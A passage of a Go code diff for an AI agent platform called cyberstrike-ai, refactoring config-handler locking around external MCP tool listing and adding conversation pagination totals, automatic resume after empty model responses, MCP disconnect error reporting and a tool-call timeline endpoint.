+	details, err := db.GetProcessDetails(asst.ID)
+	if err != nil {
+		t.Fatalf("GetProcessDetails: %v", err)
+	}
+	found := false
+	for _, d := range details {
+		if d.EventType == "reasoning_chain" && d.Message == "step one" {
+			found = true
+			break
+		}
+	}
+	if !found {
+		t.Fatalf("expected reasoning_chain persisted on done, got %+v", details)
+	}
+}

internal/handler/audit_query.go

@@ -2,7 +2,6 @@ package handler
 
 import (
 	"strconv"
-	"time"
 
 	"cyberstrike-ai/internal/database"
 
@@ -20,12 +19,12 @@ func auditFilterFromQuery(c *gin.Context) database.ListAuditLogsFilter {
 		ResourceID:   c.Query("resource_id"),
 	}
 	if since := c.Query("since"); since != "" {
-		if t, err := time.Parse(time.RFC3339, since); err == nil {
+		if t, err := database.ParseRFC3339Time(since); err == nil {
 			filter.Since = &t
 		}
 	}
 	if until := c.Query("until"); until != "" {
-		if t, err := time.Parse(time.RFC3339, until); err == nil {
+		if t, err := database.ParseRFC3339Time(until); err == nil {
 			filter.Until = &t
 		}
 	}

internal/handler/config.go

@@ -298,7 +298,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
 		}
 	}
 
-	// 获取外部MCP工具
+	// 获取外部MCP工具（走缓存，持锁期间通常不阻塞）
 	if h.externalMCPMgr != nil {
 		ctx := context.Background()
 		externalTools := h.getExternalMCPTools(ctx)
@@ -359,9 +359,6 @@ type GetToolsResponse struct {
 
 // GetTools 获取工具列表（支持分页和搜索）
 func (h *ConfigHandler) GetTools(c *gin.Context) {
-	h.mu.RLock()
-	defer h.mu.RUnlock()
-
 	c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
 
 	// 解析分页参数
@@ -407,12 +404,37 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 		}
 	}
 
+	includeExternal := true
+	if v := strings.TrimSpace(strings.ToLower(c.Query("include_external"))); v == "0" || v == "false" || v == "no" {
+		includeExternal = false
+	}
+	refreshExternal := false
+	if v := strings.TrimSpace(strings.ToLower(c.Query("refresh_external"))); v == "1" || v == "true" || v == "yes" {
+		refreshExternal = true
+	}
+
+	// 按外部 MCP 名称筛选（MCP 管理页左侧卡片 → 右侧工具列表联动）
+	externalMCPFilter := strings.TrimSpace(c.Query("external_mcp"))
+
+	// 快照配置后立即释放锁，避免外部 MCP 网络 IO 阻塞整个配置子系统
+	h.mu.RLock()
+	securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
+	roles := h.config.Roles
+	toolDescriptionMode := h.config.Security.ToolDescriptionMode
+	mcpServer := h.mcpServer
+	externalMCPMgr := h.externalMCPMgr
+	h.mu.RUnlock()
+
+	pickDesc := func(shortDesc, fullDesc string) string {
+		return pickToolDescriptionWithMode(toolDescriptionMode, shortDesc, fullDesc)
+	}
+
 	// 解析角色参数，用于过滤工具并标注启用状态
 	roleName := c.Query("role")
 	var roleToolsSet map[string]bool // 角色配置的工具集合
 	var roleUsesAllTools bool = true // 角色是否使用所有工具（默认角色）
-	if roleName != "" && roleName != "默认" && h.config.Roles != nil {
-		if role, exists := h.config.Roles[roleName]; exists && role.Enabled {
+	if roleName != "" && roleName != "默认" && roles != nil {
+		if role, exists := roles[roleName]; exists && role.Enabled {
 			if len(role.Tools) > 0 {
 				// 角色配置了工具列表，只使用这些工具
 				roleToolsSet = make(map[string]bool)
@@ -426,12 +448,12 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 
 	// 获取所有内部工具并应用搜索过滤
 	configToolMap := make(map[string]bool)
-	allTools := make([]ToolConfigInfo, 0, len(h.config.Security.Tools))
-	for _, tool := range h.config.Security.Tools {
+	allTools := make([]ToolConfigInfo, 0, len(securityTools))
+	for _, tool := range securityTools {
 		configToolMap[tool.Name] = true
 		toolInfo := ToolConfigInfo{
 			Name:        tool.Name,
-			Description: h.pickToolDescription(tool.ShortDescription, tool.Description),
+			Description: pickDesc(tool.ShortDescription, tool.Description),
 			Enabled:     tool.Enabled,
 			IsExternal:  false,
 		}
@@ -479,15 +501,15 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 	}
 
 	// 从MCP服务器获取所有已注册的工具（包括直接注册的工具，如知识检索工具）
-	if h.mcpServer != nil {
-		mcpTools := h.mcpServer.GetAllTools()
+	if mcpServer != nil {
+		mcpTools := mcpServer.GetAllTools()
 		for _, mcpTool := range mcpTools {
 			// 跳过已经在配置文件中的工具（避免重复）
 			if configToolMap[mcpTool.Name] {
 				continue
 			}
 
-			description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
+			description := pickDesc(mcpTool.ShortDescription, mcpTool.Description)
 
 			toolInfo := ToolConfigInfo{
 				Name:        mcpTool.Name,
@@ -534,11 +556,13 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 		}
 	}
 
-	// 获取外部MCP工具
-	if h.externalMCPMgr != nil {
-		// 创建context用于获取外部工具
+	// 获取外部MCP工具（可走缓存，不持有 config 锁）
+	if includeExternal && externalMCPMgr != nil {
+		if refreshExternal {
+			externalMCPMgr.InvalidateAllToolCaches()
+		}
 		ctx := context.Background()
-		externalTools := h.getExternalMCPTools(ctx)
+		externalTools := h.getExternalMCPToolsWithManager(ctx, externalMCPMgr, pickDesc)
 
 		// 应用搜索过滤和角色配置
 		for _, toolInfo := range externalTools {
@@ -585,6 +609,16 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
 	// 注意：这里我们不直接过滤掉工具，而是保留所有工具，但通过 role_enabled 字段标注状态
 	// 这样前端可以显示所有工具，并标注哪些工具在当前角色中可用
 
+	if externalMCPFilter != "" {
+		filtered := make([]ToolConfigInfo, 0)
+		for _, tool := range allTools {
+			if tool.IsExternal && tool.ExternalMCP == externalMCPFilter {
+				filtered = append(filtered, tool)
+			}
+		}
+		allTools = filtered
+	}
+
 	// 统一按名称排序后再分页，避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
 	sort.SliceStable(allTools, func(i, j int) bool {
 		key := func(t ToolConfigInfo) string {
@@ -654,11 +688,9 @@ type UpdateConfigRequest struct {
 // AgentConfigUpdate 用于 PATCH /api/config 的 agent 段：仅 JSON 中出现的字段（指针非 nil）覆盖内存配置。
 // 避免旧版「整包替换 *AgentConfig」时，未传的整型字段被反序列化为 0 误覆盖（例如 tool_timeout_minutes 变成 0）。
 type AgentConfigUpdate struct {
-	MaxIterations        *int    `json:"max_iterations,omitempty"`
-	LargeResultThreshold *int    `json:"large_result_threshold,omitempty"`
-	ResultStorageDir     *string `json:"result_storage_dir,omitempty"`
-	ToolTimeoutMinutes   *int    `json:"tool_timeout_minutes,omitempty"`
-	SystemPromptPath     *string `json:"system_prompt_path,omitempty"`
+	MaxIterations      *int    `json:"max_iterations,omitempty"`
+	ToolTimeoutMinutes *int    `json:"tool_timeout_minutes,omitempty"`
+	SystemPromptPath   *string `json:"system_prompt_path,omitempty"`
 }
 
 func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
@@ -668,12 +700,6 @@ func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
 	if src.MaxIterations != nil {
 		dst.MaxIterations = *src.MaxIterations
 	}
-	if src.LargeResultThreshold != nil {
-		dst.LargeResultThreshold = *src.LargeResultThreshold
-	}
-	if src.ResultStorageDir != nil {
-		dst.ResultStorageDir = *src.ResultStorageDir
-	}
 	if src.ToolTimeoutMinutes != nil {
 		dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
 	}
@@ -1498,8 +1524,6 @@ func updateAgentConfig(doc *yaml.Node, agent config.AgentConfig) {
 	agentNode := ensureMap(root, "agent")
 	setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
 	setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
-	setIntInMap(agentNode, "large_result_threshold", agent.LargeResultThreshold)
-	setStringInMap(agentNode, "result_storage_dir", agent.ResultStorageDir)
 	setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
 }
 
@@ -1548,9 +1572,6 @@ func updateVisionConfig(doc *yaml.Node, cfg config.VisionConfig) {
 	if strings.TrimSpace(cfg.Detail) != "" {
 		setStringInMap(visionNode, "detail", cfg.Detail)
 	}
-	if len(cfg.AllowedRoots) > 0 {
-		setStringSliceInMap(visionNode, "allowed_roots", cfg.AllowedRoots)
-	}
 }
 
 func updateOpenAIConfig(doc *yaml.Node, cfg config.OpenAIConfig) {
@@ -1909,50 +1930,52 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
 }
 
 // getExternalMCPTools 获取外部MCP工具列表（公共方法）
-// 返回 ToolConfigInfo 列表，已处理启用状态和描述信息
 func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
-	var result []ToolConfigInfo
-
 	if h.externalMCPMgr == nil {
+		return nil
+	}
+	return h.getExternalMCPToolsWithManager(ctx, h.externalMCPMgr, h.pickToolDescription)
+}
+
+// getExternalMCPToolsWithManager 获取外部 MCP 工具（不持有 config 锁，供 GetTools 等热路径使用）
+func (h *ConfigHandler) getExternalMCPToolsWithManager(
+	ctx context.Context,
+	mgr *mcp.ExternalMCPManager,
+	pickDesc func(shortDesc, fullDesc string) string,
+) []ToolConfigInfo {
+	var result []ToolConfigInfo
+	if mgr == nil {
 		return result
 	}
 
-	// 使用较短的超时时间（5秒）进行快速失败，避免阻塞页面加载
 	timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
 	defer cancel()
 
-	externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx)
+	externalTools, err := mgr.GetAllTools(timeoutCtx)
 	if err != nil {
-		// 记录警告但不阻塞，继续返回已缓存的工具（如果有）
 		h.logger.Warn("获取外部MCP工具失败（可能连接断开），尝试返回缓存的工具",
 			zap.Error(err),
 			zap.String("hint", "如果外部MCP工具未显示，请检查连接状态或点击刷新按钮"),
 		)
 	}
 
-	// 如果获取到了工具（即使有错误），继续处理
 	if len(externalTools) == 0 {
 		return result
 	}
 
-	externalMCPConfigs := h.externalMCPMgr.GetConfigs()
+	externalMCPConfigs := mgr.GetConfigs()
 
 	for _, externalTool := range externalTools {
-		// 解析工具名称：mcpName::toolName
 		mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
 		if mcpName == "" || actualToolName == "" {
-			continue // 跳过格式不正确的工具
+			continue
 		}
 
-		// 计算启用状态
-		enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
-
-		// 处理描述信息
-		description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
+		enabled := h.calculateExternalToolEnabledWithManager(mcpName, actualToolName, externalMCPConfigs, mgr)
 
 		result = append(result, ToolConfigInfo{
 			Name:        actualToolName,
-			Description: description,
+			Description: pickDesc(externalTool.ShortDescription, externalTool.Description),
 			Enabled:     enabled,
 			IsExternal:  true,
 			ExternalMCP: mcpName,
@@ -1973,40 +1996,48 @@ func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolNam
 
 // calculateExternalToolEnabled 计算外部工具的启用状态
 func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
+	return h.calculateExternalToolEnabledWithManager(mcpName, toolName, configs, h.externalMCPMgr)
+}
+
+func (h *ConfigHandler) calculateExternalToolEnabledWithManager(
+	mcpName, toolName string,
+	configs map[string]config.ExternalMCPServerConfig,
+	mgr *mcp.ExternalMCPManager,
+) bool {
 	cfg, exists := configs[mcpName]
 	if !exists {
 		return false
 	}
 
-	// 首先检查外部MCP是否启用
 	if !cfg.ExternalMCPEnable {
-		return false // MCP未启用，所有工具都禁用
+		return false
 	}
 
-	// MCP已启用，检查单个工具的启用状态
-	// 如果ToolEnabled为空或未设置该工具，默认为启用（向后兼容）
-	if cfg.ToolEnabled == nil {
-		// 未设置工具状态，默认为启用
-	} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
-		// 使用配置的工具状态
-		if !toolEnabled {
+	if cfg.ToolEnabled != nil {
+		if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists && !toolEnabled {
 			return false
 		}
 	}
-	// 工具未在配置中，默认为启用
 
-	// 最后检查外部MCP是否已连接
-	client, exists := h.externalMCPMgr.GetClient(mcpName)
+	if mgr == nil {
+		return false
+	}
+	client, exists := mgr.GetClient(mcpName)
 	if !exists || !client.IsConnected() {
-		return false // 未连接时视为禁用
+		return false
 	}
 
 	return true
 }
 
-// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
+// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度。
+// 调用方若已持有 h.mu 读锁，须直接读 mode 并调用 pickToolDescriptionWithMode，避免嵌套 RLock 死锁。
 func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
-	useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full"
+	return pickToolDescriptionWithMode(h.config.Security.ToolDescriptionMode, shortDesc, fullDesc)
+}
+
+func pickToolDescriptionWithMode(mode, shortDesc, fullDesc string) string {
+	useFull := strings.TrimSpace(strings.ToLower(mode)) == "full"
 	description := shortDesc
 	if useFull {
 		description = fullDesc
@@ -2021,23 +2052,22 @@ func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
 
 // GetToolSchema 获取单个工具的 inputSchema（按需加载，避免列表接口返回大量 schema 数据）
 func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
-	h.mu.RLock()
-	defer h.mu.RUnlock()
-
 	toolName := c.Param("name")
 	if toolName == "" {
 		c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
 		return
 	}
 
-	// 检查是否为外部工具（格式：mcpName::toolName）
 	externalMCP := c.Query("external_mcp")
 	if externalMCP != "" {
-		// 外部 MCP 工具
-		if h.externalMCPMgr != nil {
+		h.mu.RLock()
+		externalMCPMgr := h.externalMCPMgr
+		h.mu.RUnlock()
+
+		if externalMCPMgr != nil {
 			ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
 			defer cancel()
-			externalTools, _ := h.externalMCPMgr.GetAllTools(ctx)
+			externalTools, _ := externalMCPMgr.GetAllTools(ctx)
 			fullName := externalMCP + "::" + toolName
 			for _, t := range externalTools {
 				if t.Name == fullName {
@@ -2050,8 +2080,12 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
 		return
 	}
 
-	// 内部工具：从 YAML 配置的 Parameters 构建
-	for _, tool := range h.config.Security.Tools {
+	h.mu.RLock()
+	securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
+	mcpServer := h.mcpServer
+	h.mu.RUnlock()
+
+	for _, tool := range securityTools {
 		if tool.Name == toolName {
 			c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
 			return
@@ -2059,8 +2093,8 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
 	}
 
 	// MCP 注册工具（如知识检索）
-	if h.mcpServer != nil {
-		for _, mt := range h.mcpServer.GetAllTools() {
+	if mcpServer != nil {
+		for _, mt := range mcpServer.GetAllTools() {
 			if mt.Name == toolName {
 				c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
 				return

internal/handler/conversation.go

@@ -96,18 +96,44 @@ func (h *ConversationHandler) ListConversations(c *gin.Context) {
 	limit, _ := strconv.Atoi(limitStr)
 	offset, _ := strconv.Atoi(offsetStr)
 
-	if limit <= 0 || limit > 100 {
+	if limit <= 0 {
 		limit = 50
 	}
+	if limit > 1000 {
+		limit = 1000
+	}
 
-	conversations, err := h.db.ListConversations(limit, offset, search)
+	excludeGrouped := strings.TrimSpace(search) == "" &&
+		(c.Query("exclude_grouped") == "true" || c.Query("exclude_grouped") == "1")
+
+	var conversations []*database.Conversation
+	var total int
+	var err error
+	if excludeGrouped {
+		conversations, err = h.db.ListUngroupedConversations(limit, offset)
+		if err == nil {
+			total, err = h.db.CountUngroupedConversations()
+		}
+	} else {
+		conversations, err = h.db.ListConversations(limit, offset, search)
+		if err == nil {
+			total, err = h.db.CountConversations(search)
+		}
+	}
 	if err != nil {
 		h.logger.Error("获取对话列表失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
 		return
 	}
-
-	c.JSON(http.StatusOK, conversations)
+	if conversations == nil {
+		conversations = []*database.Conversation{}
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"conversations": conversations,
+		"total":         total,
+		"limit":         limit,
+		"offset":        offset,
+	})
 }
 
 // GetConversation 获取对话

internal/handler/eino_resume_segment.go

@@ -9,6 +9,8 @@ import (
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/multiagent"
+
+	"go.uber.org/zap"
 )
 
 func (h *AgentHandler) einoRunRetryMaxAttempts() int {
@@ -120,3 +122,59 @@ func (h *AgentHandler) handleEinoTransientRetryContinue(
 	}
 	return true, nil
 }
+
+// handleEinoEmptyResponseContinue 在 SSE 任务循环内处理「正常结束但无助手正文」；返回 exhausted=true 时由外层按成功结束（保留占位文案）。
+// 与临时错误重试一致：仅恢复轨迹并保留本请求原始 user 文案，不向模型注入续跑说明。
+func (h *AgentHandler) handleEinoEmptyResponseContinue(
+	baseCtx context.Context,
+	conversationID string,
+	result *multiagent.RunResult,
+	runErr error,
+	emptyResponseAttempts *int,
+	curHistory *[]agent.ChatMessage,
+	curFinalMessage *string,
+	segmentUserMessage string,
+	progressCallback func(eventType, message string, data interface{}),
+	sendProgress func(msg string, extra map[string]interface{}),
+) (handled bool, exhausted bool) {
+	if !errors.Is(runErr, multiagent.ErrEmptyResponseContinue) {
+		return false, false
+	}
+	maxAttempts := h.einoRunRetryMaxAttempts()
+	*emptyResponseAttempts++
+	if *emptyResponseAttempts > maxAttempts {
+		if h.logger != nil {
+			h.logger.Warn("eino empty response auto resume exhausted",
+				zap.String("conversationId", conversationID),
+				zap.Int("maxAttempts", maxAttempts))
+		}
+		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
+			h.persistEinoAgentTraceForResume(conversationID, result)
+		}
+		return false, true
+	}
+	attemptNo := *emptyResponseAttempts
+	if h.logger != nil {
+		h.logger.Info("eino empty response, auto resume from trace",
+			zap.String("conversationId", conversationID),
+			zap.Int("attempt", attemptNo),
+			zap.Int("maxAttempts", maxAttempts))
+	}
+	if progressCallback != nil {
+		progressCallback("eino_empty_response_continue", fmt.Sprintf("未捕获到助手正文，正在基于轨迹自动续跑（%d/%d）…", attemptNo, maxAttempts), map[string]interface{}{
+			"conversationId": conversationID,
+			"source":         "eino",
+			"attempt":        attemptNo,
+			"maxAttempts":    maxAttempts,
+			"resumeKind":     "trace_segment",
+		})
+	}
+	h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
+	if sendProgress != nil {
+		sendProgress("已恢复上下文，正在继续推理…", map[string]interface{}{
+			"conversationId": conversationID,
+			"source":         "empty_response_continue",
+		})
+	}
+	return true, false
+}

internal/handler/eino_single_agent.go

@@ -178,6 +178,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 
 	var cumulativeMCPExecutionIDs []string
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	// 同一请求内分段续跑时，主代理 iteration 事件按偏移累计，避免 UI 出现「第3轮 → 第1轮」回跳。
 	var mainIterationOffset int
 
@@ -225,6 +226,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 			h.agent,
 			h.logger,
 			conversationID,
+			h.conversationProjectID(conversationID),
 			curFinalMessage,
 			curHistory,
 			roleTools,
@@ -237,9 +239,32 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 			cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
 		}
 
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
+			&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
+			func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			transientRunAttempts = 0
+			timeoutCancel()
+			break
+		}
+		if handledEmpty {
+			mainIterationOffset += segmentMainIterationMax
+			transientRunAttempts = 0
+			timeoutCancel()
+			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
+			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
+			taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
+			h.tasks.UpdateTaskStatus(conversationID, "running")
+			continue
+		}
+
 		if runErr == nil {
 			// 任一段成功完成后，重置临时错误重试窗口（次数/退避从头开始）。
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			timeoutCancel()
 			break
 		}
@@ -418,21 +443,50 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
 		return
 	}
 
-	result, runErr := multiagent.RunEinoSingleChatModelAgent(
-		taskCtx,
-		h.config,
-		&h.config.MultiAgent,
-		h.agent,
-		h.logger,
-		prep.ConversationID,
-		prep.FinalMessage,
-		prep.History,
-		prep.RoleTools,
-		progressCallback,
-		chatReasoningToClientIntent(req.Reasoning),
-		h.projectBlackboardBlock(prep.ConversationID),
-	)
-	if runErr != nil {
+	curHist := prep.History
+	curMsg := prep.FinalMessage
+	var result *multiagent.RunResult
+	var runErr error
+	var transientRunAttempts int
+	var emptyResponseAttempts int
+	for {
+		result, runErr = multiagent.RunEinoSingleChatModelAgent(
+			taskCtx,
+			h.config,
+			&h.config.MultiAgent,
+			h.agent,
+			h.logger,
+			prep.ConversationID,
+			h.conversationProjectID(prep.ConversationID),
+			curMsg,
+			curHist,
+			prep.RoleTools,
+			progressCallback,
+			chatReasoningToClientIntent(req.Reasoning),
+			h.projectBlackboardBlock(prep.ConversationID),
+		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
+		if runErr == nil {
+			break
+		}
+		if handled, fatalErr := h.handleEinoTransientRetryContinue(
+			baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		); handled {
+			continue
+		} else if fatalErr != nil {
+			runErr = fatalErr
+		}
 		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
 			h.persistEinoAgentTraceForResume(prep.ConversationID, result)
 		}

internal/handler/external_mcp.go

@@ -64,10 +64,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
 		}
 
 		toolCount := toolCounts[name]
-		errorMsg := ""
-		if status == "error" {
-			errorMsg = h.manager.GetError(name)
-		}
+		errorMsg := externalMCPStatusError(h.manager, name, status)
 
 		result[name] = ExternalMCPResponse{
 			Config:    cfg,
@@ -115,20 +112,22 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
 		}
 	}
 
-	// 获取错误信息
-	errorMsg := ""
-	if status == "error" {
-		errorMsg = h.manager.GetError(name)
-	}
-
 	c.JSON(http.StatusOK, ExternalMCPResponse{
 		Config:    cfg,
 		Status:    status,
 		ToolCount: toolCount,
-		Error:     errorMsg,
+		Error:     externalMCPStatusError(h.manager, name, status),
 	})
 }
 
+// externalMCPStatusError 在 error/disconnected 状态下返回最近错误（含断连原因）。
+func externalMCPStatusError(manager *mcp.ExternalMCPManager, name, status string) string {
+	if status != "error" && status != "disconnected" {
+		return ""
+	}
+	return manager.GetError(name)
+}
+
 // AddOrUpdateExternalMCP 添加或更新外部MCP配置
 func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
 	var req AddOrUpdateExternalMCPRequest

internal/handler/external_mcp_test.go

@@ -271,6 +271,16 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
 	}
 }
 
+func TestExternalMCPStatusError(t *testing.T) {
+	manager := mcp.NewExternalMCPManager(zap.NewNop())
+	if got := externalMCPStatusError(manager, "x", "connected"); got != "" {
+		t.Fatalf("connected status should not return error, got %q", got)
+	}
+	if got := externalMCPStatusError(manager, "x", "connecting"); got != "" {
+		t.Fatalf("connecting status should not return error, got %q", got)
+	}
+}
+
 func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
 	router, handler, _ := setupTestRouter()
 

internal/handler/monitor.go

@@ -77,8 +77,8 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
 
 	// 解析状态筛选参数
 	status := c.Query("status")
-	// 解析工具筛选参数
-	toolName := c.Query("tool")
+	// 解析工具筛选参数（兼容 mcp__tool 与内部 mcp::tool）
+	toolName := normalizeToolNameFilter(c.Query("tool"))
 
 	executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
 	stats := h.loadStats()
@@ -113,7 +113,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
 			for _, exec := range allExecutions {
 				matchStatus := status == "" || exec.Status == status
 				// 支持部分匹配（模糊搜索）
-				matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
+				matchTool := toolNameFilterMatches(exec.ToolName, toolName)
 				if matchStatus && matchTool {
 					filtered = append(filtered, exec)
 				}
@@ -143,7 +143,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
 			for _, exec := range allExecutions {
 				matchStatus := status == "" || exec.Status == status
 				// 支持部分匹配（模糊搜索）
-				matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
+				matchTool := toolNameFilterMatches(exec.ToolName, toolName)
 				if matchStatus && matchTool {
 					filtered = append(filtered, exec)
 				}
@@ -327,6 +327,124 @@ func (h *MonitorHandler) GetStats(c *gin.Context) {
 	c.JSON(http.StatusOK, stats)
 }
 
+// CallsTimelinePoint 调用趋势数据点
+type CallsTimelinePoint struct {
+	T      time.Time `json:"t"`
+	Total  int       `json:"total"`
+	Failed int       `json:"failed"`
+}
+
+// CallsTimelineSummary 调用趋势汇总
+type CallsTimelineSummary struct {
+	TotalCalls int `json:"totalCalls"`
+	Peak       int `json:"peak"`
+}
+
+// CallsTimelineResponse 调用趋势响应
+type CallsTimelineResponse struct {
+	Range   string               `json:"range"`
+	Points  []CallsTimelinePoint `json:"points"`
+	Summary CallsTimelineSummary `json:"summary"`
+}
+
+type callsTimelineConfig struct {
+	rangeKey     string
+	duration     time.Duration
+	bucketSize   time.Duration
+	dailyBuckets bool
+}
+
+func parseCallsTimelineRange(raw string) (callsTimelineConfig, bool) {
+	switch strings.TrimSpace(raw) {
+	case "24h":
+		return callsTimelineConfig{rangeKey: "24h", duration: 24 * time.Hour, bucketSize: time.Hour, dailyBuckets: false}, true
+	case "30d":
+		return callsTimelineConfig{rangeKey: "30d", duration: 30 * 24 * time.Hour, bucketSize: 24 * time.Hour, dailyBuckets: true}, true
+	default:
+		return callsTimelineConfig{rangeKey: "7d", duration: 7 * 24 * time.Hour, bucketSize: time.Hour, dailyBuckets: false}, true
+	}
+}
+
+func truncateToBucket(t time.Time, bucketSize time.Duration, dailyBuckets bool) time.Time {
+	if dailyBuckets {
+		y, m, d := t.Date()
+		return time.Date(y, m, d, 0, 0, 0, 0, t.Location())
+	}
+	return t.Truncate(bucketSize)
+}
+
+func buildCallsTimelinePoints(cfg callsTimelineConfig, buckets map[time.Time]struct{ total, failed int }) []CallsTimelinePoint {
+	now := time.Now()
+	start := truncateToBucket(now.Add(-cfg.duration), cfg.bucketSize, cfg.dailyBuckets)
+	end := truncateToBucket(now, cfg.bucketSize, cfg.dailyBuckets)
+
+	points := make([]CallsTimelinePoint, 0)
+	for current := start; !current.After(end); current = current.Add(cfg.bucketSize) {
+		val := buckets[current]
+		points = append(points, CallsTimelinePoint{
+			T:      current,
+			Total:  val.total,
+			Failed: val.failed,
+		})
+	}
+	return points
+}
+
+func (h *MonitorHandler) loadCallsTimeline(cfg callsTimelineConfig) []CallsTimelinePoint {
+	since := time.Now().Add(-cfg.duration)
+	bucketMap := make(map[time.Time]struct{ total, failed int })
+
+	if h.db != nil {
+		dbBuckets, err := h.db.LoadCallsTimeline(since, cfg.dailyBuckets)
+		if err != nil {
+			h.logger.Warn("从数据库加载调用趋势失败，回退到内存数据", zap.Error(err))
+		} else {
+			for _, b := range dbBuckets {
+				key := truncateToBucket(b.BucketTime, cfg.bucketSize, cfg.dailyBuckets)
+				entry := bucketMap[key]
+				entry.total += b.Total
+				entry.failed += b.Failed
+				bucketMap[key] = entry
+			}
+			return buildCallsTimelinePoints(cfg, bucketMap)
+		}
+	}
+
+	for _, exec := range h.mcpServer.GetAllExecutions() {
+		if exec == nil || exec.StartTime.Before(since) {
+			continue
+		}
+		key := truncateToBucket(exec.StartTime, cfg.bucketSize, cfg.dailyBuckets)
+		entry := bucketMap[key]
+		entry.total++
+		if exec.Status == "failed" || exec.Status == "cancelled" {
+			entry.failed++
+		}
+		bucketMap[key] = entry
+	}
+	return buildCallsTimelinePoints(cfg, bucketMap)
+}
+
+// GetCallsTimeline 获取 MCP 工具调用趋势
+func (h *MonitorHandler) GetCallsTimeline(c *gin.Context) {
+	cfg, _ := parseCallsTimelineRange(c.Query("range"))
+	points := h.loadCallsTimeline(cfg)
+
+	summary := CallsTimelineSummary{}
+	for _, p := range points {
+		summary.TotalCalls += p.Total
+		if p.Total > summary.Peak {
+			summary.Peak = p.Total
+		}
+	}
+
+	c.JSON(http.StatusOK, CallsTimelineResponse{
+		Range:   cfg.rangeKey,
+		Points:  points,
+		Summary: summary,
+	})
